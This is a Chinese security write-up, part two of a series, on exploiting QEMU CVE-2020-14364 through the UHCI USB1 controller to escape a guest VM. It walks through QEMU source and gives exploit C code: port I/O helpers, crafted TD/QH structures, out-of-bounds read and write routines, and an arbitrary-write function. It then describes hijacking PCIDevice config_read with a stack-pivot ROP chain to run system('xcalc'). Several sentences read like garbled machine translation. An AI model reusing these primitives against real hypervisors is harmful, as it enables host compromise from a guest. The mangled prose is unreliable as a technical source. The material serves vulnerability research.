PortalLab | 多种方法利用QEMU-CVE-2020-14364(二) – 作者:北京星阑科技有限公司

本系列文章是刚入门的QEMU开始写的,上篇文章小编为大家介绍了前两种方法,本篇小编将给大家介绍后两种网上未公开的利用usb1的利用方式

第三种思路

与前面最大的不同就是利用usb1

后置知识

配置和之前的一样,启动脚本。

./qemu-4.0.0/x86_64-softmmu/qemu-system-x86_64 \
    -enable-kvm \
    -append "console=ttyS0 root=/dev/sda rw"  \
    -m 1G \
    -kernel ./linux/arch/x86/boot/bzImage  \
    -hda ./rootfs.img \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::33333-:22 \
    -usb \
    -device usb-tablet,bus=usb-bus.0\  #这里
    -device qxl-vga \				#利用上需要用到别的pci设备,这里根据大家需要,什么pci设备都行
    -nographic

以上路径记得的。

usb1和usb2不同了,挺挺的,单拿最尖锐的一点点,mmio不再适用,需要pmio,而究其原因:

图片[1]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(二) – 作者:北京星阑科技有限公司-安全小百科usb1和usb2其实只是协议的叫法,usb1是UHCIusb2是EHCIusb3是XHCI。

图片[2]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(二) – 作者:北京星阑科技有限公司-安全小百科

如果不是这个时候发生的话,那么我们当时也有设备:

图片[3]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(二) – 作者:北京星阑科技有限公司-安全小百科

我们无法像上次那样直接m 地图空间给usb 传输数据传输容易(mmio),我需要用pmio 来操作,简单地说就是区别,以前是这样:

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

而现在需要:

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value, pmio_base + addr);
}

uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(pmio_base + addr);
}
对于这点可用lspci命令查看,同样可以
cat /sys/devices/pci0000\:00/0000\:00\:01.2/resource,另外其中的pmio_base

需要在这里找:

root@ubuntu:/# cat /sys/devices/pci0000\:00/0000\:00\:01.2/resource
0x0000000000000000 0x0000000000000000 0x0000000000000000   #resource0(MMIO空间)
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x000000000000c040 0x000000000000c05f 0x0000000000040101   #resource1(PMIO空间)
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

在万圣节想用直接套用usb2之前的任意一次,因为pmio和mmio接口可以真真,但事实并不如愿,单就调用链说话,感觉有点挺大的区别,更绝是我们无法一次传输超过甘蔗方法的数据,这是在读原始方法费,经历了三次判断之后发现的,因为兔兔不心就这么摆脱了硬所以着着找寻觅寻觅觅觅踪,做下去的,能看懂讲解。

源码分析

那来看看源码,找利用点,实际上是分析到达漏洞的调用链,从设备的注册开始。

static void uhci_class_init(ObjectClass *klass, void *data)
{
    DeviceClass *dc = DEVICE_CLASS(klass);
    PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);

    k->class_id  = PCI_CLASS_SERIAL_USB;
    dc->vmsd = &vmstate_uhci;
    dc->reset = uhci_reset;
    set_bit(DEVICE_CATEGORY_USB, dc->categories);
}
=====================================================================
static const TypeInfo uhci_pci_type_info = {
    .name = TYPE_UHCI,    //#define TYPE_UHCI "pci-uhci-usb"
    .parent = TYPE_PCI_DEVICE,
    .instance_size = sizeof(UHCIState),
    .class_size    = sizeof(UHCIPCIDeviceClass),
    .abstract = true,
    .class_init = uhci_class_init,
    .interfaces = (InterfaceInfo[]) {
        { INTERFACE_CONVENTIONAL_PCI_DEVICE },
        { },
    },
};
=====================================================================
struct UHCIPCIDeviceClass {
    PCIDeviceClass parent_class;
    UHCIInfo       info;
};
==========================================================================
struct PCIDevice {
    DeviceState qdev;
[ ... ]
    /* Cached device to fetch requester ID from, to avoid the PCI
     * tree walking every time we invoke PCI request (e.g.,
     * MSI). For conventional PCI root complex, this field is
     * meaningless. */
    PCIReqIDCache requester_id_cache;
    char name[64];     //这里
    PCIIORegion io_regions[PCI_NUM_REGIONS];
    AddressSpace bus_master_as;
    MemoryRegion bus_master_container_region;
    MemoryRegion bus_master_enable_region;

    /* do not access the following fields */
    PCIConfigReadFunc *config_read;
    PCIConfigWriteFunc *config_write;

    /* Legacy PCI VGA regions */
    MemoryRegion *vga_regions[QEMU_PCI_VGA_NUM_REGIONS];
    bool has_vga;

[ ... ]
};
#define TYPE_UHCI "pci-uhci-usb"

还记得上面的两个使用方案的后一种。

利用读探窃听data_buf的内存数据,探查“qxl-vga”寻找PCI设备->名称的地址,散射转移PCI设备结构的地址。

而这本应该也同样可以这样做。

是上次的这个想法,大体思路可以照走,实际上还有很多坑点要一解决,漏洞函数的地方在:

static int uhci_handle_td(UHCIState *s, UHCIQueue *q, uint32_t qh_addr,
                          UHCI_TD *td, uint32_t td_addr, uint32_t *int_mask)
{
    int ret, max_len;
    bool spd;
    bool queuing = (q != NULL);
    uint8_t pid = td->token & 0xff;
    UHCIAsync *async;
[ ... ]
    switch(pid) {
    case USB_TOKEN_OUT:
    case USB_TOKEN_SETUP:
        pci_dma_read(&s->dev, td->buffer, async->buf, max_len);
        usb_handle_packet(q->ep->dev, &async->packet);  //<-----这里调用usb_handle_packet
        if (async->packet.status == USB_RET_SUCCESS) {
            async->packet.actual_length = max_len;
        }
        break;

    case USB_TOKEN_IN:
        usb_handle_packet(q->ep->dev, &async->packet);  //<------这里调用usb_handle_packet
        break;

    default:
        abort(); /* Never to execute */
    }
[ ... ]
}
==========================================================
void usb_handle_packet(USBDevice *dev, USBPacket *p)
{
[ ... ]

    if (QTAILQ_EMPTY(&p->ep->queue) || p->ep->pipeline || p->stream) {
        usb_process_one(p); //<--------------------------这里
        if (p->status == USB_RET_ASYNC) {
            /* hcd drivers cannot handle async for isoc */
            assert(p->ep->type != USB_ENDPOINT_XFER_ISOC);
            /* using async for interrupt packets breaks migration */
            assert(p->ep->type != USB_ENDPOINT_XFER_INT ||
                   (dev->flags & (1 << USB_DEV_FLAG_IS_HOST)));
            usb_packet_set_state(p, USB_PACKET_ASYNC);
[ ... ]
    }
}
====================================================
static void usb_process_one(USBPacket *p)
{
    USBDevice *dev = p->ep->dev;
[ ... ]
        switch (p->pid) {
        case USB_TOKEN_SETUP:
            do_token_setup(dev, p);  //<--------------------------这里
            break;
        case USB_TOKEN_IN:
            do_token_in(dev, p);  //<--------------------------这里
            break;
        case USB_TOKEN_OUT:
            do_token_out(dev, p); //<--------------------------这里,是不是很眼熟
            break;
        default:
            p->status = USB_RET_STALL;
        }
    } else {
        /* data pipe */
        usb_device_handle_data(dev, p);
    }
}

看看在哪调用:

static void uhci_process_frame(UHCIState *s)
{
    uint32_t frame_addr, link, old_td_ctrl, val, int_mask;
    uint32_t curr_qh, td_count = 0;
    int cnt, ret;
    UHCI_TD td;
    UHCI_QH qh;
    QhDb qhdb;
[ ... ]
        old_td_ctrl = td.ctrl;
        ret = uhci_handle_td(s, NULL, curr_qh, &td, link, &int_mask);  //<---这里调用uhci_handle_td
        if (old_td_ctrl != td.ctrl) {
            /* update the status bits of the TD */
            val = cpu_to_le32(td.ctrl);
            pci_dma_write(&s->dev, (link & ~0xf) + 4, &val, sizeof(val));
        }

        switch (ret) {
        case TD_RESULT_STOP_FRAME: /* interrupted frame */
            goto out;

        case TD_RESULT_NEXT_QH:
        case TD_RESULT_ASYNC_CONT:
            trace_usb_uhci_td_nextqh(curr_qh & ~0xf, link & ~0xf);
            link = curr_qh ? qh.link : td.link;
            continue;
[ ... ]
out:
    s->pending_int_mask |= int_mask;
}
static void uhci_frame_timer(void *opaque)
{
    UHCIState *s = opaque;
    uint64_t t_now, t_last_run;
    int i, frames;
    const uint64_t frame_t = NANOSECONDS_PER_SECOND / FRAME_TIMER_FREQ;
[ ... ]
    for (i = 0; i < frames; i++) {
        s->frame_bytes = 0;
        trace_usb_uhci_frame_start(s->frnum);
        uhci_async_validate_begin(s);
        uhci_process_frame(s);    //<---------------------------这里调用uhci_process_frame
        uhci_async_validate_end(s);
[ ... ]
}
static void usb_uhci_common_realize(PCIDevice *dev, Error **errp)
{
    Error *err = NULL;
    PCIDeviceClass *pc = PCI_DEVICE_GET_CLASS(dev);
    UHCIPCIDeviceClass *u = container_of(pc, UHCIPCIDeviceClass, parent_class);
    UHCIState *s = UHCI(dev);
    uint8_t *pci_conf = s->dev.config;
    int i;

[ ... ]
    s->bh = qemu_bh_new(uhci_bh, s);
    s->frame_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, uhci_frame_timer, s);  //<-----这里
    s->num_ports_vmstate = NB_PORTS;
    QTAILQ_INIT(&s->queues);

    memory_region_init_io(&s->io_bar, OBJECT(s), &uhci_ioport_ops, s,  //注册读写函数
                          "uhci", 0x20);

    /* Use region 4 for consistency with real hardware.  BSD guests seem
       to rely on this.  */
    pci_register_bar(&s->dev, 4, PCI_BASE_ADDRESS_SPACE_IO, &s->io_bar);
}
=================================================================================
static const MemoryRegionOps uhci_ioport_ops = {
    .read  = uhci_port_read,   //注册读写函数
    .write = uhci_port_write,
    .valid.min_access_size = 1,
    .valid.max_access_size = 4,
    .impl.min_access_size = 2,
    .impl.max_access_size = 2,
    .endianness = DEVICE_LITTLE_ENDIAN,
};

小编猜uhci_frame_timer是触发的函数,而其调用的uhci_process_frame当然是触发的,也就是定时触发。

下面是对uhci端口进行读写操作时触发的函数:

static void uhci_port_write(void *opaque, hwaddr addr,
                            uint64_t val, unsigned size)
{
    UHCIState *s = opaque;

    trace_usb_uhci_mmio_writew(addr, val);

    switch(addr) {
    case 0x00:
        if ((val & UHCI_CMD_RS) && !(s->cmd & UHCI_CMD_RS)) {  //之前是stop现在要run起来
            /* start frame processing */
            trace_usb_uhci_schedule_start();
            s->expire_time = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) +
                (NANOSECONDS_PER_SECOND / FRAME_TIMER_FREQ);
            timer_mod(s->frame_timer, s->expire_time);
            s->status &= ~UHCI_STS_HCHALTED;
        } else if (!(val & UHCI_CMD_RS)) {      //stop
            s->status |= UHCI_STS_HCHALTED;
        }
        if (val & UHCI_CMD_GRESET) {
            UHCIPort *port;
            int i;

            /* send reset on the USB bus */
            for(i = 0; i < NB_PORTS; i++) {
                port = &s->ports[i];
                usb_device_reset(port->port.dev);
            }
            uhci_reset(DEVICE(s));
            return;
        }
        if (val & UHCI_CMD_HCRESET) {
            uhci_reset(DEVICE(s));
            return;
        }
        s->cmd = val;     //写cmd
        if (val & UHCI_CMD_EGSM) {
            if ((s->ports[0].ctrl & UHCI_PORT_RD) ||
                (s->ports[1].ctrl & UHCI_PORT_RD)) {
                uhci_resume(s);
            }
        }
        break;
    case 0x02:
        s->status &= ~val;
        /* XXX: the chip spec is not coherent, so we add a hidden
           register to distinguish between IOC and SPD */
        if (val & UHCI_STS_USBINT)
            s->status2 = 0;
        uhci_update_irq(s);
        break;
    case 0x04:
        s->intr = val;
        uhci_update_irq(s);
        break;
    case 0x06:
        if (s->status & UHCI_STS_HCHALTED)
            s->frnum = val & 0x7ff;
        break;
    case 0x08:
        s->fl_base_addr &= 0xffff0000;
        s->fl_base_addr |= val & ~0xfff;
        break;
    case 0x0a:
        s->fl_base_addr &= 0x0000ffff;
        s->fl_base_addr |= (val << 16);
        break;
    case 0x0c:
        s->sof_timing = val & 0xff;
        break;
    case 0x10 ... 0x1f:
        {
            UHCIPort *port;
            USBDevice *dev;
            int n;

            n = (addr >> 1) & 7;
            if (n >= NB_PORTS)
                return;
            port = &s->ports[n];
            dev = port->port.dev;
            if (dev && dev->attached) {
                /* port reset */
                if ( (val & UHCI_PORT_RESET) &&
                     !(port->ctrl & UHCI_PORT_RESET) ) {
                    usb_device_reset(dev);
                }
            }
            port->ctrl &= UHCI_PORT_READ_ONLY;
            /* enabled may only be set if a device is connected */
            if (!(port->ctrl & UHCI_PORT_CCS)) {
                val &= ~UHCI_PORT_EN;
            }
            port->ctrl |= (val & ~UHCI_PORT_READ_ONLY);
            /* some bits are reset when a '1' is written to them */
            port->ctrl &= ~(val & UHCI_PORT_WRITE_CLEAR);
        }
        break;
    }
}
===========================================================================
static uint64_t uhci_port_read(void *opaque, hwaddr addr, unsigned size)
{
    UHCIState *s = opaque;
    uint32_t val;

    switch(addr) {
    case 0x00:
        val = s->cmd;
        break;
    case 0x02:
        val = s->status;
        break;
    case 0x04:
        val = s->intr;
        break;
    case 0x06:
        val = s->frnum;
        break;
    case 0x08:
        val = s->fl_base_addr & 0xffff;
        break;
    case 0x0a:
        val = (s->fl_base_addr >> 16) & 0xffff;
        break;
    case 0x0c:
        val = s->sof_timing;
        break;
    case 0x10 ... 0x1f:
        {
            UHCIPort *port;
            int n;
            n = (addr >> 1) & 7;
            if (n >= NB_PORTS)
                goto read_default;
            port = &s->ports[n];
            val = port->ctrl;
        }
        break;
    default:
    read_default:
        val = 0xff7f; /* disabled port */
        break;
    }

    trace_usb_uhci_mmio_readw(addr, val);

    return val;
}

好的,那我们看到了base+addr后addr的值对应的操作了。

调用链

这个调用链是定时调用的,也就是刚好说的定时触发的函数导致的。

uhci_frame_timer->
    uhci_process_frame->
        uhci_handle_td->
            usb_handle_packet->
                usb_process_one-> 漏洞函数

直接把调试时的调用链贴上来:

► f 0     563392bbc6a5 uhci_port_write+23     ##这是注册的写函数的调用链
   f 1     563392884c2d memory_region_write_accessor+233
   f 2     563392884e3d access_with_adjusted_size+282
   f 3     563392887e3e memory_region_dispatch_write+249
   f 4     56339281d725 flatview_write_continue+180
   f 5     56339281d86a flatview_write+136
   f 6     56339281db6f address_space_write+92
   f 7     56339281dbc1 address_space_rw+69
► f 0     563392bbd2ed uhci_handle_td+31      ##这是漏洞函数的调用链
   f 1     563392bbdd9b uhci_process_frame+670
   f 2     563392bbe1b1 uhci_frame_timer+403
   f 3     563392dc1e02 timerlist_run_timers+497
   f 4     563392dc1eac qemu_clock_run_timers+41
   f 5     563392dc229d qemu_clock_run_all_timers+45
   f 6     563392dc2a39 main_loop_wait+236
   f 7     5633929fda1b main_loop+16

还有在uhci_handle_td下面这个,其中pid是决定调用token或者out\in的声明,所以要设置td->token。

uint8_t pid = td->token & 0xff;

qh和td是在uhci_process_frame中出现,在uhci_handle_td中直接用td->token了,所以应该是在uhci_process_frame中对td进行提交的。

传输多少(TD)和组头(QH)。TD表示与设备选择进行通信的一个包。QH是一些TD(和QH)划分成的一种。

图片[4]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(二) – 作者:北京星阑科技有限公司-安全小百科

关键函数

分析漏洞函数调用链上的源码,代码不再全部贴出,可以在此处查看,目前的任务是找出td->token的启动方式,然后才能让它去任意控制越界读写。

其实说的->token的正确提交方式不,应该说是td的方式,因为传进去是td直链结构体,其token是构造好再直接的指针的,贴上写过注释的源码。

static void uhci_process_frame(UHCIState *s)
{
    uint32_t frame_addr, link, old_td_ctrl, val, int_mask;
    uint32_t curr_qh, td_count = 0;
    int cnt, ret;
    UHCI_TD td;
    UHCI_QH qh;
    QhDb qhdb;

    frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2); //看到s->fl_base_addr下面用
                          //addr      buf
    pci_dma_read(&s->dev, frame_addr, &link, 4); //给link赋值
    le32_to_cpus(&link);//将link的数据格式改一下

    int_mask = 0;
    curr_qh  = 0;

    qhdb_reset(&qhdb);

    for (cnt = FRAME_MAX_LOOPS; is_valid(link) && cnt; cnt--) {
        if (!s->completions_only && s->frame_bytes >= s->frame_bandwidth) {
            /* We've reached the usb 1.1 bandwidth, which is
               1280 bytes/frame, stop processing */
            trace_usb_uhci_frame_stop_bandwidth();
            break;
        }
        if (is_qh(link)) {       //经调试,这块是直接跳过的,直接看下面的td部分
            /* QH */
            trace_usb_uhci_qh_load(link & ~0xf);

            if (qhdb_insert(&qhdb, link)) {
                /*
                 * We're going in circles. Which is not a bug because
                 * HCD is allowed to do that as part of the BW management.
                 *
                 * Stop processing here if no transaction has been done
                 * since we've been here last time.
                 */
                if (td_count == 0) {
                    trace_usb_uhci_frame_loop_stop_idle();
                    break;
                } else {
                    trace_usb_uhci_frame_loop_continue();
                    td_count = 0;
                    qhdb_reset(&qhdb);
                    qhdb_insert(&qhdb, link);
                }
            }
                                  //addr        buf
            pci_dma_read(&s->dev, link & ~0xf, &qh, sizeof(qh)); //将link给qh赋值
            le32_to_cpus(&qh.link);  //qh的两个成员改一下数据格式
            le32_to_cpus(&qh.el_link);

            if (!is_valid(qh.el_link)) {
                /* QH w/o elements */
                curr_qh = 0;
                link = qh.link;
            } else {
                /* QH with elements */
                curr_qh = link;    //也许到这里挺好
                link = qh.el_link;
            }
            continue;
        }

        /* TD */
        uhci_read_td(s, &td, link);  //应该是将link赋值给td,为了保险小编还是把qh的link和el_link都设置成了td的地址
        trace_usb_uhci_td_load(curr_qh & ~0xf, link & ~0xf, td.ctrl, td.token);

        old_td_ctrl = td.ctrl;
        ret = uhci_handle_td(s, NULL, curr_qh, &td, link, &int_mask);   //td的token进去就直接用了
       [ ... ]

所以exp直接这么写了:

void reset_enable_port(){
    // pmio_write(0, UHCI_CMD_RS);
    pmio_write(0, 0 | UHCI_CMD_EGSM | UHCI_CMD_HCRESET);
}
//悬停和开始
void set_UHCIState(){
    int i = 0x10;
    //#define NB_PORTS 2
    for(;i<=0x1f;i++)
        pmio_write(i, UHCI_PORT_CCS | UHCI_PORT_RESET | UHCI_PORT_EN);
    pmio_write(6, 0);
    pmio_write(8, virt2phys(td)); // fl_base_addr  也许我们可以直接令其等于qh或td
    // printf("the addr of dmabuf:0x%lx\n",virt2phys(dmabuf));
    pmio_write(0, UHCI_CMD_RS);
    sleep(1);
}

void set_qh(){
    qh->el_link = virt2phys(td);
    qh->link = virt2phys(td);
    // printf("the addr of td:0x%lx\n",qh->link);
}

void init_state(){
    //为了能走到漏洞函数那设置的条件
    reset_enable_port();
    //同上
    set_qh();
    //设置越界长度   
    setup_buf[6] = 0xff;
    setup_buf[7] = 0x0;
    //setup the index
    // setup_buf[4] = 0xffff & 0xff;
    // setup_buf[5] = (0xffff >> 8) & 0xff;
    /* 我们调用do_token_setup 设置s->setup_len 的长度为越界长度
        需要进入do_token_setup 需要通过设置td->token值 */
    td->link = virt2phys(td);
    td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD;
    td->token = USB_TOKEN_SETUP | 0x7 << 21  ;
    td->buffer = virt2phys(setup_buf);
    // printf("the addr of setup_buf:0x%lx\n",td->buffer);
    puts("set_UHCIState");
    set_UHCIState();
}

这其中每一处都是小编在微细中根据需要走的细节设置的,有一些着实费了九二虎之力,主要是那些宏大的没写插图,风格又有点抽象,只能靠猜。

一些卡壳的地方

//in  uhci_handle_td()
==========================
  /* Is active ? */
    if (!(td->ctrl & TD_CTRL_ACTIVE)) {         //《===============这里
        if (async) {
            /* Guest marked a pending td non-active, cancel the queue */
            uhci_queue_free(async->queue, "pending td non-active");
        }
        /*
         * ehci11d spec page 22: "Even if the Active bit in the TD is already
         * cleared when the TD is fetched ... an IOC interrupt is generated"
         */
        if (td->ctrl & TD_CTRL_IOC) {
                *int_mask |= 0x01;
        }
        return TD_RESULT_NEXT_QH;
    }

可以看到这个路径,然后整个剧情也是出不去的,巧不巧的调用漏洞函数的地方在这下面,如果我们必须绕过这个路径,所以要找到td>ctrl在哪能投。

然后看到了这个:

//in uhci_port_write()
case 0x10 ... 0x1f:
        {
            UHCIPort *port;
            USBDevice *dev;
            int n;

            n = (addr >> 1) & 7;
            if (n >= NB_PORTS)  //NB_PORTS为2
                return;
            port = &s->ports[n];
            dev = port->port.dev;
            if (dev && dev->attached) {
                /* port reset */
                if ( (val & UHCI_PORT_RESET) &&
                     !(port->ctrl & UHCI_PORT_RESET) ) {//设置port->ctrl
                    usb_device_reset(dev);
                }
            }
            port->ctrl &= UHCI_PORT_READ_ONLY; //设置port->ctrl
            /* enabled may only be set if a device is connected */
            if (!(port->ctrl & UHCI_PORT_CCS)) {
                val &= ~UHCI_PORT_EN;
            }
            port->ctrl |= (val & ~UHCI_PORT_READ_ONLY); //设置port->ctrl
            /* some bits are reset when a '1' is written to them */
            port->ctrl &= ~(val & UHCI_PORT_WRITE_CLEAR);
        }
        break;
    }

在uhci_port_read中不止这里,很多判断都是在函数中构造泄露的,具体操作就是设置val的值,让其在port->ctrl |= (val & ~UHCI_PORT_READ_ONLY); 这一步操作中将TD_CTRL_ACTIVE设置上,同样的还有UHCI_PORT_EN,这些都可以从exp查看,然后还有设置fl_base也是在这设置的,因为前面的给定链接就是:

frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2);
                          //addr      buf
    pci_dma_read(&s->dev, frame_addr, &link, 4); //给link赋值

在设置这些时候是暂停停止状态的,设置完成再给case 0写UHCI_CMD_RS 一次。

越界写作的构造

//in uhci_handle_td()
  /* Allocate new packet */
    if (q == NULL) {
        USBDevice *dev;
        USBEndpoint *ep;

        dev = uhci_find_device(s, (td->token >> 8) & 0x7f);
        if (dev == NULL) {
            return uhci_handle_td_error(s, td, td_addr, USB_RET_NODEV,
                                        int_mask);
        }
        ep = usb_ep_get(dev, pid, (td->token >> 15) & 0xf);  //得到的ep应该不为空
        q = uhci_queue_new(s, qh_addr, td, ep);         //上面得到的ep赋值给q
    }
    async = uhci_async_alloc(q, td_addr);   //在这里得到async,用上面得到的q
    //maxlen在这里设置,和td->token有关系,后面在setup中也有检查
    max_len = ((td->token >> 21) + 1) & 0x7ff;
    spd = (pid == USB_TOKEN_IN && (td->ctrl & TD_CTRL_SPD) != 0);
    usb_packet_setup(&async->packet, pid, q->ep, 0, td_addr, spd,//这里stream设置为0,后面的检查过不去
                     (td->ctrl & TD_CTRL_IOC) != 0);    //设置packet
    if (max_len <= sizeof(async->static_buf)) {
        async->buf = async->static_buf;
    } else {
        async->buf = g_malloc(max_len);
    }
    usb_packet_addbuf(&async->packet, async->buf, max_len); //经这一步处理之后p->iov.size就设置好了,直接就是max_len的值,而max_len经上设置最大为0x7ff,且在USB_TOKEN_SETUP时p->iov.size必须为8

    switch(pid) {
    case USB_TOKEN_OUT:
    case USB_TOKEN_SETUP:
        pci_dma_read(&s->dev, td->buffer, async->buf, max_len);
        usb_handle_packet(q->ep->dev, &async->packet);
        if (async->packet.status == USB_RET_SUCCESS) {
            async->packet.actual_length = max_len;
        }
        break;

    case USB_TOKEN_IN:
        usb_handle_packet(q->ep->dev, &async->packet);
        break;

看到上面设置了p->iov.size,然后我们再到漏洞函数里看这里起什么用,do_token_setup 不会分析,就是这个值必须为8,看下do_token_in/do_token_out这俩个差不多。

switch(s->setup_state) {
[ ... ]
    case SETUP_STATE_DATA:
        if (s->setup_buf[0] & USB_DIR_IN) {
            int len = s->setup_len - s->setup_index;   //得到这次读/写的长度,setup_len是上面设置的
            if (len > p->iov.size) { //p->iov.size最大0x7ff所以len最大0x7ff,一次就这么多
                len = p->iov.size;
            }
            usb_packet_copy(p, s->data_buf + s->setup_index, len);
            s->setup_index += len;
            if (s->setup_index >= s->setup_len) {  //读/写完成了状态改下
                s->setup_state = SETUP_STATE_ACK;
            }
            return;
        }
        s->setup_state = SETUP_STATE_IDLE;
        p->status = USB_RET_STALL;
        break;

所以,不是usb 2 一种任意任意一种,不过天无绝人之路,看到s->index,通过选择这来读/写,一次可以看到真实的时间固定,但是我们可以看到一个真实的世界啊,好像假装do_token_in前面的index = (s->setup_buf[5] << 8) | s->setup_buf[4];可以设置设置->setup_index,发现找不到>setup_index += len;每次刷完后都对index进行一次累加,但是有一点注意:

s->setup_index += len;
  if (s->setup_index >= s->setup_len) {
    s->setup_state = SETUP_STATE_ACK;
  }

设置的索引不能超过设置_len,一旦超过就认为是读写操作完成,不会再回来,这样就不能进行越界读写就结束了,只需要增加一次的长度,然后多次读写,刚开始把东西累到外面,然后再过越界,小编选择一次吃0x400,这样四次就到0x1000,刚好刚好越界。

//越界读,调用do_token_in
void do_copy_read(uint16_t len){
    reset_enable_port();
    set_qh();

    //设置token进入do_token_in   
    td->ctrl =  TD_CTRL_ACTIVE | TD_CTRL_SPD;      
    td->token =  USB_TOKEN_IN | (len-1) << 21; //设置p->iov.size
    td->buffer = virt2phys(data_buf);

    set_UHCIState();
}
//越界写,调用do_token_out
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index, uint16_t len){
    reset_enable_port();
    set_qh();
    if(len > 8){  //这里是为越界写做准备
        *(unsigned long *)(data_buf + offset) = 0x0000000200000002; // 覆盖成原先的内容
        *(unsigned int *)(data_buf + 0x8 +offset) = setup_len;
        *(unsigned int *)(data_buf + 0xc+ offset) = setup_index;
    }

    td->ctrl =  TD_CTRL_ACTIVE | TD_CTRL_SPD;
    td->token =  USB_TOKEN_OUT | (len-1) << 21; 
    td->buffer = virt2phys(data_buf);

    set_UHCIState();
}

有了上面的起点了,系统函数地址泄露了,在终点一起放出。

任意文学的构造

首先几乎不可能的不幸的事是我们这里实现任意读,因为任意写USB设备是通过越界的setup_index以及setup_len后先把setup[0]改为USB_DIR_IN,也就是读,然后同时把把索引和len再到目标地址处,这三者的跨度超过0x1000,所以无法同时写入,而只能单独写也不能,需要设置[0]改为读才能触发读操作,而改完成后索引和len就无法再通过越界写更改,也只能在setup[0]附近进行读。

/* definition of a USB device */
struct USBDevice {
    DeviceState qdev;
    USBPort *port;
    char *port_path;
    char *serial;
    void *opaque;
    uint32_t flags;

    /* Actual connected speed */
    int speed;
    /* Supported speeds, not in info because it may be variable (hostdevs) */
    int speedmask;
    uint8_t addr;
    char product_desc[32];
    int auto_attach;
    bool attached;

    int32_t state;
    uint8_t setup_buf[8];     //这里
    uint8_t data_buf[4096];   //上面说的读写是在这里,我们可以向上向下越界
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;        //
    int32_t setup_index;    //这俩修改就能任意地址读写

    USBEndpoint ep_ctl;      //这里得到基址
    USBEndpoint ep_in[USB_MAX_ENDPOINTS];
    USBEndpoint ep_out[USB_MAX_ENDPOINTS];

    QLIST_HEAD(, USBDescString) strings;
    const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
    const USBDescDevice *device;

    int configuration;
    int ninterfaces;
    int altsetting[USB_MAX_INTERFACES];
    const USBDescConfig *config;
    const USBDescIface  *ifaces[USB_MAX_INTERFACES];
};

还好我们可以进行任意写,因为越界写时不需要修改设置[0],一直保持写状态就行:

setsetup_len 为一个比较大的值;

一次读0x400,读四次,这样索引到达0x1000,就可以对setup_len和setup_index进行写入,写成下写就可以直接写目标地址。

//任意写
void arb_write(uint64_t target_addr, uint64_t payload)
{
    setup_state_data();
    unsigned long offset = target_addr - data_buf_addr;
    set_length(0x1010, USB_DIR_OUT);
    puts("set index");
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);  //除了这个0x400其他参数都可以瞎填
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);

    do_copy_write(0, offset+0x8, offset-0x10, 0x10);   //写index和len

    *(unsigned long *)(data_buf) = payload;
    do_copy_write(0, 0xffff, 0, sizeof(payload));      //写入目标地址
}

利用手法

还是像usb2一样吸入ep_ctl->dev,得到USBDevice地址,然后通过偏移就知道其他成员的地址了;

通过偏移得到设备*设备然后根据其原因描述的地址的距离QEMU加载地址的偏移,QEMU加载的基址,然后通过ida得到system@plt距离QEMU基址的偏移,得到系统的地址;

不是那样的我不能上去读,也就是读不到USB设备结构体中在data_buf上面的变量,写倒是可以,所以像usb2那样利用,但利用其他pci。我们可以在usb1设备上起一个pci设备,就会有一个PCI设备的结构体,得到他的基址,改变其中的函数路径config_read为系统;

调用函数引导的函数,完成利用。

struct PCIDevice {
    DeviceState qdev;

    /* PCI config space */
    uint8_t *config;
 [ ... ]
    PCIReqIDCache requester_id_cache;
    char name[64];
    PCIIORegion io_regions[PCI_NUM_REGIONS];
    AddressSpace bus_master_as;
    MemoryRegion bus_master_container_region;
    MemoryRegion bus_master_enable_region;

    /* do not access the following fields */
    PCIConfigReadFunc *config_read;   //<=============函数指针
    PCIConfigWriteFunc *config_write;

    /* Legacy PCI VGA regions */
    MemoryRegion *vga_regions[QEMU_PCI_VGA_NUM_REGIONS];
    bool has_vga;
[ ... ]
};

没有想另外一个pci设备,因为usb1手机,但是无奈在某个范围内找不到usb1的名字,无法确定其基址,所以只能另加。

通过这个PCIDevice的原因确定PCIDevice的这个基址,然后更改config_read函数指向的函数,同样存在问题,也就是在调用其函数之前的其他操作中,有对结构体的成员访问的操作,而这个结构体作为调用config_read时的最后一个参数,也即覆盖为系统后用得到的参数,我们已经将其覆盖为0x636c616378,也就是xcalc的地址,这表明是不可访问的,没想到的崩溃了。

那不能直接把config_read改为system,经usb2的经验,小编构造了另一个栈迁移的rop链,在保证不覆盖PCIDevice的下完成system(“xcalc”)。

那么这一系列迁移的小玩意,本地环境并没有上面使用示例2中的xchg rax,rbp,只有对ebp的操作,因为这样,所以必须用rbp不能ebp,所幸找到了push rax;jp 0xc2cab1 ; jmp qword ptr [rax + 0x34] ,从利用堆栈2知道rax和rdi菜单上的相同位置,所以把rax值推进栈后面jmp到rax+0x34处还是执行,这里堆上的,我们只要把+0x34处rax上pop rsp; 流行音乐;退;就可以把rax动态rp中,也即实现了栈迁移,至于为什么多pop个rbp,是因为迁移之后的rsp是PCI设备结构体的基址,我们如果在这里填入rop链在访问结构体中的成员时还是会导致程序崩溃,可以将填入PCIDevice+8处,通过多pop一次,伪装rsp+8,绕过PCIDevice。

